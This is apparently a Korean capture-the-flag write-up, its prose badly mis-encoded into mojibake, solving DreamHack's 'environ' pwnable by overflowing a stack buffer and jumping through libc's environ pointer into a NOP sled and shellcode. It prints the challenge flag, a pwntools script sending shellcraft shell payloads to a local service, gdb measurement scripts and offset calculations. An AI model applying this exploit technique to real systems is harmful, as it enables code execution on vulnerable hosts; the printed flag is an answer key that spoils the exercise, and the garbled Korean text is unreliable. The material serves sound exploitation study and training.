๋ฌธ์ : DreamHack โ environ ๋ถ๋ฅ: Pwnable ๋์ด๋: ๐ฅ Bronze 2 FLAG:
DH{209478d89c920b8dfe2dee61f9bc1dcc}
๊ฐ์ ์ด๋ฆ์ Silver 4 ๋ฌธ์ (__environ)๊ฐ ๋ฐ๋ก ์๋๋ฐ, ๊ทธ์ชฝ์ ์์ ์ฃผ์๋ฅผ ์ฝ์ด์ ๋ณด์ฌ์ฃผ๋ ์ค๋ผํด๋ก ์คํ ์ฃผ์๋ฅผ ์ ์ถํ๋ ์ ํ์ ์ธ environ ptr ๋ฌธ์ ๋ค. ์ด Bronze 2 ๋ฌธ์ ๋ ์์๊ฐ ํ ๋ ๋ค๋ฅด๋ค. ๊ฐ์ ๋ณด์ฌ์ฃผ์ง ์๊ณ ๊ทธ ๊ฐ์ผ๋ก ๋ฐ๋ก ์ ํํ๋ค.
์ฝ์ด์ ๋ณด์ฌ์ฃผ๋ฉด ์คํ ์ฃผ์๋ฅผ ์์ ์ฅ๊ณ ๋ค์ ์๋ฅผ ๋ ์ ์๋ค. ๊ทธ๋ฐ๋ฐ ๋ณด์ฌ์ฃผ์ง ์๊ณ ์ ํ๋ง ํด ๋ฒ๋ฆฌ๋ฉด, ์ด๋๋ก ๋ฐ๋์ง ๋ชจ๋ฅด๋ ์ฑ๋ก ๊ทธ ์๋ฆฌ์ ๋ฏธ๋ฆฌ ์ฝ๋๋ฅผ ๊น์ ๋ฌ์ผ ํ๋ค. ์ด ๊ธ์ ๊ทธ "๋ชจ๋ฅด๋ ์ฑ๋ก ๊น์ ๋๊ธฐ"๋ฅผ ์ด๋ป๊ฒ ์ฑ๋ฆฝ์ํค๋์ง์ ๋ํ ๊ธฐ๋ก์ด๋ค.
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | environ (DreamHack wargame id 31) |
| ๋์ด๋ | ๐ฅ Bronze 2 |
| ๋ถ๋ฅ | Pwnable |
| ์ ๊ณต ํ์ผ | environ (ELF x86-64), environ.c, libc.so.6 |
| ์๋ฒ | ๋ผ์ด๋ธ VM (socat TCP) |
| ์คํ | Ubuntu 16.04 / glibc 2.23 |
| ๋ณดํธ ๊ธฐ๋ฒ | Partial RELRO ยท Canary ยท NX ์์ ยท No PIE |
| ํต์ฌ ์ทจ์ฝ์ | ๊ธธ์ด๋ฅผ ๊ณต๊ฒฉ์๊ฐ ์ ํ๋ read ์ค๋ฒํ๋ก์ฐ + ์์ ์ฃผ์ ์ฝ๊ธฐยทํธ์ถ |
๋ฐฐํฌ๋ ํ์ผ๋ถํฐ ํ์ธํ๋ค.
file environ && file libc.so.6 && strings -a libc.so.6 | grep "GNU C Library"
Ubuntu 16.04 ์์ glibc 2.23 ์ด๋ค. ๋ฐฐํฌ๋ณธ์ libc ๊ฐ ๊ฐ์ด ์๋ค๋ ๊ฑด libc ์ฃผ์๋ฅผ ์ฐ๋ผ๋ ๋ป์ด๊ณ , ์ค์ ๋ก ๋ฌธ์ ๋ ์์ํ์๋ง์ libc ํฌ์ธํฐ ํ๋๋ฅผ ๋์ ธ ์ค๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ environ ์ด ์ ํน๋ณํ๊ฐ
environ ์ POSIX ๊ฐ ์ ์ํ ์ ์ญ ๋ณ์๋ค. ์ ์ธ์ ์ด๋ ๊ฒ ์๊ฒผ๋ค.
extern char **environ;ํ๋ก์ธ์ค๊ฐ ๋ฐ ๋ ์ปค๋์ ์คํ ๋งจ ์์ชฝ์ ํ๋ก๊ทธ๋จ ์ธ์์ ํ๊ฒฝ๋ณ์๋ฅผ ๊น์ ๋๋ค. ๋ฎ์ ์ฃผ์์์ ๋์ ์ฃผ์ ์์ผ๋ก ๋ณด๋ฉด argc, argv ํฌ์ธํฐ ๋ฐฐ์ด, NULL, envp ํฌ์ธํฐ ๋ฐฐ์ด, NULL, auxiliary vector, ๊ทธ๋ฆฌ๊ณ ์ค์ ๋ฌธ์์ด๋ค์ด ์ฐจ๋ก๋ก ๋์ธ๋ค. ํ๋ก๊ทธ๋จ์ ์ฒซ rsp ๋ ์ด argc ๋ฅผ ๊ฐ๋ฆฌํจ๋ค.
glibc ๋ __libc_start_main ์ด๊ธฐํ ๊ณผ์ ์์ ์ด envp ๋ฐฐ์ด์ ์์ ์ฃผ์๋ฅผ ์๊ธฐ ๋ฐ์ดํฐ ์์ญ์ environ ์นธ์ ์ ์ฅํด ๋๋ค. ๊ทธ๋์ getenv ๊ฐ ๋์ํ๊ณ , execve ๊ฐ ์ธ์ ์์ด๋ ํ์ฌ ํ๊ฒฝ์ ๋๊ธธ ์ ์๋ค.
์ต์คํ๋ก์ ์ชฝ์์ ์ด๊ฒ ๊ฐ์ง ์ด์ ๋ ํ๋๋ค. libc ๋ฒ ์ด์ค๋ง ์๋ฉด ์คํ ์ฃผ์๋ฅผ ์์๋ผ ์ ์๋ค. ASLR ์ด ์ผ์ ธ ์์ด๋, PIE ๋ผ ์ฝ๋ ์ฃผ์๋ฅผ ๋ชฐ๋ผ๋, libc ํ๋๋ง ์๋ฉด ์คํ๊น์ง ๋ฐ๋ผ์จ๋ค.
๋ฐฐํฌ๋ libc ์์ ์คํ์ ๊ฐ๋ฆฌํค๋ ์ฌ๋ณผ์ด ์ด๊ฒ ๋ง๊ณ ๋ ์๋ ์ฐพ์๋ดค๋ค.
readelf --dyn-syms -W libc.so.6 | grep -iE "stack_end|environ|argv" 9: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND _dl_argv@GLIBC_PRIVATE (26)
283: 00000000003c6f38 8 OBJECT WEAK DEFAULT 34 _environ@@GLIBC_2.2.5
966: 00000000003c6f38 8 OBJECT WEAK DEFAULT 34 environ@@GLIBC_2.2.5
1297: 00000000003c6f38 8 OBJECT GLOBAL DEFAULT 34 __environ@@GLIBC_2.2.5environยท__environยท_environ ์ ์ ๋ถ 0x3c6f38 ํ๋๋ฅผ ๊ฐ๋ฆฌํค๋ ๋ณ์นญ์ด๋ค. _dl_argv ๋ ld.so ์ชฝ ์ฌ๋ณผ์ด๋ผ libc ์์๋ ์ ์๊ฐ ์๊ณ (UND), __libc_stack_end ๋ ์ด ๋น๋์ ๋์ ์ฌ๋ณผ ํ
์ด๋ธ์ ์ ๋์จ๋ค. ๋ฐฐํฌ๋ณธ์ด stripped ๋ผ ๋ด๋ถ ์ฌ๋ณผ๊น์ง๋ ๋ชป ๋ณด์ง๋ง, ์ ์ด๋ ๊ฐ์ ธ๋ค ์ธ ์ ์๋ ๊ฒ ์ค์๋ environ ๋ฟ์ด๋ค.
๋ณดํต ์ด ๊ธฐ๋ฒ์ "์ฝ์ด์ ์ ์ถ"์ ์ด๋ค. ์์ ์ฃผ์ ์ฝ๊ธฐ๊ฐ ์์ผ๋ฉด libc + environ ์ ์ฝ์ด ์คํ ์ฃผ์๋ฅผ ์ป๊ณ , ๊ฑฐ๊ธฐ์ ์คํ์
์ ๊ณ์ฐํด ๋ฆฌํด ์ฃผ์ ์์น๋ฅผ ํน์ ํ๋ค. ์ด ๋ฌธ์ ๋ ๊ทธ ์ฝ๊ธฐ ๊ฒฐ๊ณผ๋ฅผ ํ๋ฉด์ ์ ์ค๋ค. ๋์ ๊ทธ ๊ฐ์ ๊ณง๋ฐ๋ก ํจ์ ํฌ์ธํฐ๋ก ์จ์ ํธ์ถํ๋ค. ๊ทธ๋ฌ๋ ์ ์ถ์ด ์๋๋ผ ์ฐฉ์ง์ ์ผ๋ก ์ฐ๋ ์๋ฐ์ ์๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ
์์ค๊ฐ ํต์งธ๋ก ์ฃผ์ด์ง๋ค. 42์ค์ด ์ ๋ถ๋ค.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main()
{
char buf[16];
size_t size;
long value;
void (*jump)();
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
printf("Data: ");
read(0, buf, size);
printf("*jmp=");
scanf("%ld", &value);
jump = *(long *)value;
jump();
return 0;
}๋ค ์ค๋ง ๋ฐ๋ก ๋ผ์ด ๋ณด๋ฉด ๋ฌธ์ ๊ฐ ๋ญ ์ฃผ๋์ง ์ ๋ฆฌ๋๋ค.
| ์ฝ๋ | ๋ด๊ฐ ์ป๋ ๊ฒ |
|---|---|
printf("stdout: %p\n", stdout) | _IO_2_1_stdout_ ์ ์ค์ ์ฃผ์ โ libc ๋ฒ ์ด์ค |
scanf("%ld", &size) | read ๊ธธ์ด๋ฅผ ๋ด๊ฐ ์ ํ๋ค (๊ฒ์ฌ ์์) |
read(0, buf, size) | buf[16] ์์ชฝ์ผ๋ก ์ํ๋ ๋งํผ ์คํ ๋ฎ์ด์ฐ๊ธฐ |
jump = *(long *)value; jump() | ์์ ์ฃผ์ 8๋ฐ์ดํธ ์ฝ๊ธฐ + ๊ทธ ๊ฐ์ผ๋ก ํธ์ถ |
stdout ์ ๋ฐ์ด๋๋ฆฌ bss ์ ์๋ ํฌ์ธํฐ ๋ณ์๊ณ , ๊ทธ ์์๋ libc ์ _IO_2_1_stdout_ ์ฃผ์๊ฐ ๋ค์ด ์๋ค. %p ๋ก ์ฐํ๋ ๊ฑด ํฌ์ธํฐ ๋ณ์์ ์ฃผ์๊ฐ ์๋๋ผ ๊ทธ ๊ฐ์ด๋ libc ์ฃผ์๊ฐ ๊ทธ๋๋ก ๋์จ๋ค.
๋ณดํธ ๊ธฐ๋ฒ โ ์คํ์ด ์คํ ๊ฐ๋ฅํ๋ค
readelf -lW environ | grep -E "Flg|LOAD|GNU_STACK|GNU_RELRO"
GNU_STACK ์ Flg ๊ฐ RWE ๋ค. ๋ง์ปค๊ฐ NX ๋ฅผ ๋ ์ฑ๋ก ๋น๋ํ๋ค๋ ๋ป์ด๊ณ , ์ปค๋์ ์ด ํ์๋ฅผ ๋ณด๊ณ ์คํ ๋งคํ์ ์คํ ๊ถํ์ ์ค๋ค. ์คํ์ ์ฌ๋ฆฐ ๋ฐ์ดํธ๊ฐ ๊ทธ๋๋ก ์ฝ๋๊ฐ ๋๋ค.
LOAD ์ธ๊ทธ๋จผํธ๋ R E / RW ๋ก ๋๋์ด ์์ด ์ฝ๋๋ 0x400000, ๋ฐ์ดํฐ๋ 0x600000 ๋์ ๊ณ ์ ์ด๋ค. No PIE ๋ผ stdout ํฌ์ธํฐ์ ์ฃผ์ 0x601080 ๊ฐ์ ๊ฐ์ ์์๋ก ์ธ ์ ์๋ค.
์ด์ ๋ธ๋ฆฌ๋ก ์คํ ๋ฐฐ์น ํ์ธ
์์ค๋ง ๋ด์๋ ์ง์ญ๋ณ์๋ค์ด ์คํ ์ด๋์ ๋์ด๋์ง ๋ชจ๋ฅธ๋ค. ์ค๋ฒํ๋ก์ฐ๊ฐ ๋ฌด์์ ๋ง๊ฐ๋จ๋ฆฌ๋์ง ํ๋จํ๋ ค๋ฉด ์ด๊ฒ ํ์ํ๋ค. ๋์ค์ด์
๋ธ์ ์ฃผ์์ ์น์ด์ ๋ดค๋ค. ์ฃผ์์ sed ์คํฌ๋ฆฝํธ๋ก ๋ด๊ฐ ๋ถ์ธ ๊ฒ์ด๊ณ , ๋๋จธ์ง ์ค์ objdump ์ถ๋ ฅ ๊ทธ๋๋ก๋ค.
# annotate_main.sed
s/\(mov *rax,QWORD PTR \[rip+0x2007be\)\(.*\)/\1\2 <-- bss ์ stdout ํฌ์ธํฐ = libc ์ฃผ์/
s/\(lea *rax,\[rbp-0x38\]\)/\1 <-- size (rbp-0x38)/
s/\(mov *rdx,QWORD PTR \[rbp-0x38\]\)/\1 <-- read ๊ธธ์ด = ๋ด๊ฐ ์ค size/
s/\(lea *rax,\[rbp-0x20\]\)/\1 <-- buf[16] (rbp-0x20)/
s/\(lea *rax,\[rbp-0x30\]\)/\1 <-- value (rbp-0x30)/
s/\(mov *rax,QWORD PTR \[rax\]\)/\1 <-- jump = *(long*)value ์์ ์ฝ๊ธฐ/
s/\(call *rdx\)/\1 <-- jump() ์์ ํธ์ถ/objdump -d --no-show-raw-insn -M intel environ --start-address=0x4008bb --stop-address=0x400958 | sed -f annotate_main.sed
์ ๋ฆฌํ๋ฉด ์ด๋ ๋ค.
| ์์น | ๋ณ์ |
|---|---|
rbp-0x38 | size |
rbp-0x30 | value |
rbp-0x28 | jump |
rbp-0x20 | buf[16] |
rbp-0x8 | ์คํ ์นด๋๋ฆฌ |
์ฌ๊ธฐ์ ๋ ๊ฐ์ง๊ฐ ํ๊บผ๋ฒ์ ํ๋ฆฐ๋ค.
์ฒซ์งธ, size ์ value ๋ buf ๋ณด๋ค ๋ฎ์ ์ฃผ์์ ์๋ค. read ๋ buf ์์ ์์ชฝ์ผ๋ก ์จ ๋๊ฐ๋ฏ๋ก ์๋ฌด๋ฆฌ ๊ธธ๊ฒ ๋ฎ์ด๋ ์ด ๋์ ์ ๋ง๊ฐ์ง๋ค. ์ฆ ์ค๋ฒํ๋ก์ฐ๋ฅผ ๋จผ์ ํด ๋๊ณ ๊ทธ ๋ค์์ value ๋ฅผ ์
๋ ฅํด๋ ์์๊ฐ ๊ผฌ์ด์ง ์๋๋ค.
๋์งธ, ์นด๋๋ฆฌ๋ rbp-0x8 ์ด๋ผ ๋ฐ๋์ ๋ฎ์ธ๋ค. ๊ทธ๋ฐ๋ฐ main ์ jump() ์์์ ์
ธ์ ๋์ฐ๊ณ ๋๋๋ฏ๋ก ๋ฆฌํด์ ์ ํ๋ค. ์นด๋๋ฆฌ ๊ฒ์ฌ ์ฝ๋๋ call rdx ๋ค์ ์์ผ๋ ๋๋ฌํ์ง ์๋๋ค. ์นด๋๋ฆฌ๊ฐ ์์ด๋ ์๋ ๊ฒ๊ณผ ๊ฐ๋ค.
๐ฃ ์์ ๋ฏ์ด๋ณด๊ธฐ โ ์ฃผ์๋ฅผ ์ธ ์ ์๋ค
jump = *(long *)value;
jump();์ด ๋ ์ค์ ์ฒ์ ๋ดค์ ๋ ๋ฐ์ฌ์ ์ผ๋ก ๋ ์ค๋ฅด๋ ๊ฑด "libc ๋ฒ ์ด์ค ์๋๊น one_gadget ์ฃผ์ ๋ฃ์ผ๋ฉด ๋๊ฒ ๋ค"๋ค. ๊ทธ๋ฐ๋ฐ ์ ๋๋ค. value ๋ ์ ํํ ์ฃผ์๊ฐ ์๋๋ผ ์ ํํ ์ฃผ์๊ฐ ๋ค์ด ์๋ ์นธ์ ์ฃผ์๋ค. ํ ๊ฒน์ด ๋ ์๋ค.
๋ด๊ฐ ์ํ๋ ๊ฐ์ ์ด๋๊ฐ์ ์ธ ์ ์์ผ๋ฉด ๊ทธ ์นธ์ ๊ฐ๋ฆฌํค๋ฉด ๋๋ค. ํ์ง๋ง ์ฐ๊ธฐ๊ฐ ๊ฐ๋ฅํ ๊ณณ์ ์คํ๋ฟ์ด๊ณ , ์คํ ์ฃผ์๋ฅผ ๋ชจ๋ฅธ๋ค. ๊ฒฐ๊ตญ ์ด๋ฏธ ์ธ ๋งํ ๊ฐ์ด ๋ค์ด ์๋ ์นธ์ libc ๋ ๋ฐ์ด๋๋ฆฌ์์ ๊ณจ๋ผ์ผ ํ๋ค.
ํ๋ณด๋ฅผ ํ๋์ฉ ์ฌ ๋ดค๋ค.
value ํ๋ณด | ์ฝํ๋ ๊ฐ | ๊ฒฐ๊ณผ |
|---|---|---|
0x601080 (bss ์ stdout ํฌ์ธํฐ) | &_IO_2_1_stdout_ | libc ๋ฐ์ดํฐ๋ก ์ ํ โ ์ฃฝ์ |
0x601018 ๋ฑ GOT ์ํธ๋ฆฌ | libc read/printf ์ฃผ์ | ํจ์๋ ๋ถ๋ฆฌ์ง๋ง ์ธ์๋ฅผ ๋ชป ์ ํจ |
libc + environ | &envp[0] (์คํ) | ์คํ์ผ๋ก ์ ํ โ ์ฌ๊ธฐ์ ์ฝ๋๋ฅผ ๊น๋ฉด ๋๋ค |
GOT ๋ฅผ ๊ฐ๋ฆฌํค๋ฉด ์ค์ ๋ก libc ํจ์๊ฐ ๋ถ๋ฆฌ๊ธด ํ๋ค. ๊ทธ๋ฐ๋ฐ call rdx ์ง์ ์ eax ๋ง 0์ผ๋ก ๋ง์ถ ๋ฟ rdi/rsi/rdx ๋ ์ด์ ํธ์ถ์ ์ฐ๊บผ๊ธฐ๋ผ ์ธ์๋ฅผ ํต์ ํ ์ ์๋ค. system ์ ์ ์ด์ import ๋์ด ์์ง๋ ์๋ค. ํจ์ ํ๋๋ฅผ ์ธ์ ์์ด ๋ถ๋ฅด๋ ๊ฑธ๋ก๋ ์
ธ์ด ์ ๋์จ๋ค.
โถ๐ ๋ง๋ค๋ฅธ ๊ธธ 1 โ bss ์ stdout ํฌ์ธํฐ๋ฅผ ์ฐฉ์ง์ ์ผ๋ก ์จ ๋ณด๋ฉด
์ฃผ์ ์์ฒด๋ ์ด๋ฏธ ์๊ณ ์๋ค. 0x601080 ์ value ๋ก ์ฃผ๋ฉด jump ๋ ์ ํํ _IO_2_1_stdout_ ์ ์ฃผ์๊ฐ ๋๋ค. ์ฃผ์๋ฅผ ์๋ค๋ ๊ฒ๊ณผ ๊ทธ๊ฒ ์ฝ๋๋ผ๋ ๊ฑด ๋ค๋ฅธ ์๊ธด๋ฐ, ํ ๋ฒ ํ์ธํ๊ณ ๋์ด๊ฐ๋ ๊ฒ ๋ซ๋ค๊ณ ๋ดค๋ค.
#!/usr/bin/env python3
"""
์ฐฉ์ง์ ํ๋ณด ์คํ โ environ ๋ง๊ณ "์ด๋ฏธ ์๊ณ ์๋ libc ์ฃผ์"๋ฅผ ๊ทธ๋ฅ ์ฐ๋ฉด ์ ๋๋?
value ์ ๋ฐ์ด๋๋ฆฌ bss ์ stdout ํฌ์ธํฐ(0x601080)๋ฅผ ๋ฃ์ผ๋ฉด
jump = *(long*)0x601080 = &_IO_2_1_stdout_ ๊ฐ ๋๋ค.
์ฃผ์๋ ์ ํํ์ง๋ง ๊ทธ๊ฑด libc ์ ๋ฐ์ดํฐ ์์ญ์ด๋ผ ์คํํ ์ฝ๋๊ฐ ์๋๋ค.
"""
from pwn import asm, context, log, remote, shellcraft
context.arch = "amd64"
context.log_level = "error"
BSS_STDOUT = 0x601080
p = remote("127.0.0.1", 31337)
p.recvuntil(b"stdout: ")
leak = int(p.recvline().strip(), 16)
print("[*] ์ ์ถํ _IO_2_1_stdout_ = %#x" % leak)
payload = b"\x90" * 0x218 + asm(shellcraft.amd64.linux.sh())
p.sendlineafter(b"Size: ", str(len(payload)).encode())
p.sendafter(b"Data: ", payload)
print("[*] value = %#x (bss ์ stdout ํฌ์ธํฐ)" % BSS_STDOUT)
p.sendlineafter(b"*jmp=", str(BSS_STDOUT).encode())
p.sendline(b"echo SHELL_OK")
try:
out = p.recvrepeat(2)
print("[*] ์๋ต %d ๋ฐ์ดํธ: %r" % (len(out), out[:40]))
print("[-] ์
ธ ์์ โ libc ๋ฐ์ดํฐ๋ฅผ ์ฝ๋๋ก ์คํํ๊ณ ์ฃฝ์๋ค")
except EOFError:
print("[-] EOF: ํ๋ก์ธ์ค๊ฐ ์ฃฝ์๋ค")
p.close()python3 try_bss_ptr.py
์๋ต 0๋ฐ์ดํธ. _IO_2_1_stdout_ ์ FILE ๊ตฌ์กฐ์ฒด๋ผ ์๋ถ๋ถ์ด ํ๋๊ทธ์ ๋ฒํผ ํฌ์ธํฐ๋ค์ด๊ณ , ๊ทธ๊ฑธ ๋ช
๋ น์ผ๋ก ํด์ํ๋ฉด ๊ธ๋ฐฉ ์ฃฝ๋๋ค. ์ฃผ์๋ฅผ ์๋ ๊ฒ๊ณผ ๊ฑฐ๊ธฐ์ ์ฝ๋๊ฐ ์๋ ๊ฑด ๋ณ๊ฐ๋ผ๋ ๊ฑธ ํ์ธํ๊ณ ๋์ด๊ฐ๋ค.
โถ๐ ๋ง๋ค๋ฅธ ๊ธธ 2 โ ์ฐ๋งค ์์ด ์ ธ์ฝ๋๋ง buf ์ ๋ฃ์ผ๋ฉด
environ ์ ์ฐฉ์ง์ ์ผ๋ก ์ฐ๊ธฐ๋ก ์ ํ ๋ค์์๋ ํ ๋ฒ ๋ ๊ฑธ๋ฆฐ๋ค. jump ๋ &envp[0] ์ด ๋๋๋ฐ, buf ์ &envp[0] ์ ๊ฐ์ ์คํ์ด์ง๋ง ๊ฐ์ ๊ณณ์ด ์๋๋ค. ์
ธ์ฝ๋๋ฅผ buf ๋งจ ์์ ์์ ํ ๋ฃ์ด ๋๋ฉด ์ ํ๋ ์๋ฑํ ๋ฐ๋ก ๊ฐ๋ค.
์ด๊ฑธ ๋์ผ๋ก ๋ณด๋ ค๊ณ gdb ๋ก ์ก์๋ค. mkinput.py --no-sled ๋ก ์ฐ๋งค ์๋ ์
๋ ฅ์ ๋ง๋ค๊ณ call rdx ์ง์ ์์ ๋ฉ์ถ๋ค.
# nosled.gdb
set confirm off
set pagination off
set disable-randomization on
break *0x400956
run < in_nosled.bin
python
rdx = int(gdb.parse_and_eval("$rdx"))
buf = int(gdb.parse_and_eval("$rbp")) - 0x20
print("[call rdx ์ง์ ] ์ฐฉ์ง์ rdx = 0x%x = buf + 0x%x (์
ธ์ฝ๋๋ buf+0x0~0x2f)" % (rdx, rdx - buf))
print("--- ์ฐฉ์ง์ 8๋ฐ์ดํธ = envp[0] ํฌ์ธํฐ ์๋ณธ ---")
gdb.execute("x/1gx $rdx")
print("--- ๊ทธ ๋ฐ์ดํธ๋ฅผ ๋ช
๋ น์ผ๋ก ํด์ํ๋ฉด ---")
gdb.execute("x/4i $rdx")
end
continue
python
print("--- ์ฃฝ์ ์ง์ ---")
gdb.execute("info registers rip")
end
quitpython3 mkinput.py --no-sled
docker run --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -v "$PWD:/home/environ" -w /home/environ environ31:local gdb -q -batch -x nosled.gdb ./environ![ํด๋ฆญํ์ฌ ํ๋ gdb ๋ฐฐ์น ์คํ โ ์ฐฉ์ง์ bytes ๊ฐ envp[0] ํฌ์ธํฐ๋ผ (bad) ๋ช
๋ น์ผ๋ก ํด์๋๊ณ SIGILL ๋ก ์ฃฝ๋๋ค](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-environ-shellcode-writeup%2Fs1_nosled.png&w=3840&q=75)
์ฐฉ์ง์ ์ buf + 0x118, ์
ธ์ฝ๋๋ buf + 0x0 ~ 0x2f. 280๋ฐ์ดํธ ์ฐจ์ด๋ค. ์ฐฉ์ง์ ์ 8๋ฐ์ดํธ๋ ์๋ envp[0] ์ด ๋ด๊ณ ์๋ ํฌ์ธํฐ 0x00007fffffffef3b ์ด๊ณ , ์ด๊ฑธ ๋ช
๋ น์ผ๋ก ๋์ฝ๋ฉํ๋ฉด cmp %edi,%ebp ๋ค์์ด ์ ๋ถ (bad) ๋ค. ์คํํ์๋ง์ SIGILL.
์ฌ๊ธฐ์ ๋ต์ด ๋์จ๋ค. ์
ธ์ฝ๋๋ฅผ ์ฐฉ์ง์ ๋ค์ ๋๊ณ , ๊ทธ ์ฌ์ด๋ฅผ ์ ๋ถ nop ์ผ๋ก ์ฑ์ฐ๋ฉด ๋๋ค.
๐ฏ ์ฐฉ์ง์ ์ environ ์ผ๋ก
libc ์คํ์ ๋ฝ๊ธฐ
๋ ๊ฐ๋ง ์์ผ๋ฉด ๋๋ค. ์ ์ถ๊ฐ์์ ๋นผ์ ๋ฒ ์ด์ค๋ฅผ ๊ตฌํ _IO_2_1_stdout_, ๊ทธ๋ฆฌ๊ณ environ.
#!/usr/bin/env python3
"""๋ฐฐํฌ๋ libc.so.6 ์์ ์ต์ค์ ํ์ํ ์ฌ๋ณผ ์คํ์
๋ง ๋ฝ๋๋ค."""
from pwn import ELF
libc = ELF("libc.so.6", checksec=False)
exe = ELF("environ", checksec=False)
print("[binary] stdout ํฌ์ธํฐ(bss) = %#x" % exe.symbols["stdout"])
print("[libc] _IO_2_1_stdout_ = %#x" % libc.symbols["_IO_2_1_stdout_"])
print("[libc] environ = %#x" % libc.symbols["environ"])
print("[calc] libc_base = leak - %#x" % libc.symbols["_IO_2_1_stdout_"])python3 offsets.py
๋ฐฐํฌ๋ libc ๋ stripped ์ง๋ง ๋์ ์ฌ๋ณผ ํ
์ด๋ธ์ ์ด์ ์์ด์ pwntools ๊ฐ ๊ทธ๋๋ก ์ฝ์ด ์ค๋ค. environ ๊ณผ __environ ์ ๊ฐ์ ์ฃผ์๋ฅผ ๊ฐ๋ฆฌํค๋ ๋ณ์นญ์ด๋ค.
์ฐฉ์ง์ ๊น์ง์ ๊ฑฐ๋ฆฌ ์ฌ๊ธฐ
jump() ๋ &envp[0] ์ผ๋ก ๋ด๋ค. ๊ทธ๋ฐ๋ฐ ๋๋ ๊ทธ ์ฃผ์๋ฅผ ๋ชจ๋ฅธ๋ค. ์์์ผ ํ๋ ๊ฑด ์ ๋ ์ฃผ์๊ฐ ์๋๋ผ buf ๋ก๋ถํฐ ์ผ๋ง๋ ๋จ์ด์ ธ ์๋๊ฐ๋ค. ๊ทธ ๊ฑฐ๋ฆฌ๋ง ์๋ฉด read ๋ก ๊ทธ๋งํผ ์ฑ์์ ์ฐฉ์ง์ ์ ๋ฎ์ ์ ์๋ค.
Ubuntu 16.04 ์ปจํ ์ด๋๋ฅผ ๋์ฐ๊ณ gdb ๋ก ์ง์ ์๋ค.
# measure.gdb
set confirm off
set pagination off
set disable-randomization on
break *0x400918
run < /home/environ/in.txt
python
import re
buf = int(gdb.parse_and_eval("$rbp")) - 0x20
maps = gdb.execute("info proc mappings", to_string=True)
base = None
for line in maps.splitlines():
if line.rstrip().endswith("/home/environ/libc.so.6") and base is None:
base = int(line.split()[0], 16)
env_ptr_addr = base + 0x3c6f38
env_val = int(gdb.parse_and_eval("*(unsigned long*)%d" % env_ptr_addr))
print("LIBC_BASE = 0x%x" % base)
print("ENVIRON_SYM = 0x%x" % env_ptr_addr)
print("ENVIRON_VAL = 0x%x (&envp[0], ์คํ)" % env_val)
print("BUF = 0x%x" % buf)
print("DISTANCE = %d (0x%x)" % (env_val - buf, env_val - buf))
end
quit0x400918 ์ call read@plt ๋ค. ๊ฑฐ๊ธฐ์ ๋ฉ์ถ๋ฉด rbp ๊ฐ ์์ง main ๊ฒ์ด๋ผ buf = rbp - 0x20 ์ด ๊ทธ๋๋ก ์ ํจํ๋ค. in.txt ์๋ Size: ์ ๋ฃ์ ์ซ์ ํ ์ค๋ง ๋ค์ด ์๋ค.
docker run --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -v "$PWD:/home/environ" -w /home/environ environ31:local gdb -q -batch -x measure.gdb ./environ![ํด๋ฆญํ์ฌ ํ๋ gdb ๋ฐฐ์น ์คํ โ buf ์ environ ์ด ๊ฐ๋ฆฌํค๋ &envp[0] ์ฌ์ด๊ฐ 280๋ฐ์ดํธ(0x118)๋ก ์ธก์ ๋๋ค](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-environ-shellcode-writeup%2F05_gdb_dist.png&w=3840&q=75)
280๋ฐ์ดํธ, 0x118.
์ด ๊ฑฐ๋ฆฌ๋ฅผ ๋ฏฟ์ด๋ ๋๋
์ฌ๊ธฐ๊ฐ ์ด ๋ฌธ์ ์ ์ง์ง ๊ด๋ฌธ์ด๋ค. ์ ๋ ์ฃผ์๋ ์คํํ ๋๋ง๋ค ๋ฐ๋๋๋ฐ, ๊ฑฐ๋ฆฌ๊ฐ ๋งค๋ฒ ๊ฐ๋ค๋ ๋ณด์ฅ์ด ์์ผ๋ฉด ์ต์ค๊ฐ ์ฑ๋ฆฝํ์ง ์๋๋ค.
&envp[0] ์ ํ๋ก์ธ์ค ์ด๊ธฐ rsp ์์ argc ํ ์นธ, argv ๋ฐฐ์ด, NULL ์ ์ง๋ ์๋ฆฌ๋ค. main ์ ํ๋ ์๋ ๊ทธ ์ด๊ธฐ rsp ์๋๋ก __libc_start_main ์ ๊ฑฐ์ณ ์กํ๋ค. ๋ ๋ค ๊ฐ์ ๊ธฐ์ค์ ์์ ์ธ๋ ๊ฐ์ด๋ผ ์๋ฆฌ์ ์ผ๋ก๋ argc ๊ฐ ๊ฐ์ผ๋ฉด ๊ฑฐ๋ฆฌ๋ ๊ฐ์์ผ ํ๋ค. ์ปค๋์ด ์คํ ์ต์๋จ์ ๋ฃ๋ ๋ฌด์์ ์ฌ๋ฐฑ์ ๋ฌธ์์ด ์์ญ๊ณผ ๋ฐฐ์ด ์์ญ์ ํต์งธ๋ก ๋ฐ์ด๋ด์ง ์คํ ์ค ํ๋ ์๊ณผ์ ๊ฐ๊ฒฉ์ ๋ฐ๊พธ์ง ์๋๋ค.
์๋ฆฌ๋ ๊ทธ๋ ๋ค ์น๊ณ , ์ค์ ๋ก ๊ทธ๋ฐ์ง ์ฌ ๋ดค๋ค. ํ๊ฒฝ๋ณ์ ํฌ๊ธฐ๋ฅผ 0๋ถํฐ 4KB ๊น์ง ๋ฐ๊ฟ ๊ฐ๋ฉฐ ๊ฑฐ๋ฆฌ๋ฅผ ๋ค์ ๋ฝ๋ ์คํฌ๋ฆฝํธ๋ค.
#!/usr/bin/env bash
# ํ๊ฒฝ๋ณ์ ํฌ๊ธฐ๋ฅผ ๋ฐ๊ฟ ๊ฐ๋ฉฐ buf -> &envp[0] ๊ฑฐ๋ฆฌ๊ฐ ์ ๋ง ๊ณ ์ ์ธ์ง ํ์ธํ๋ค.
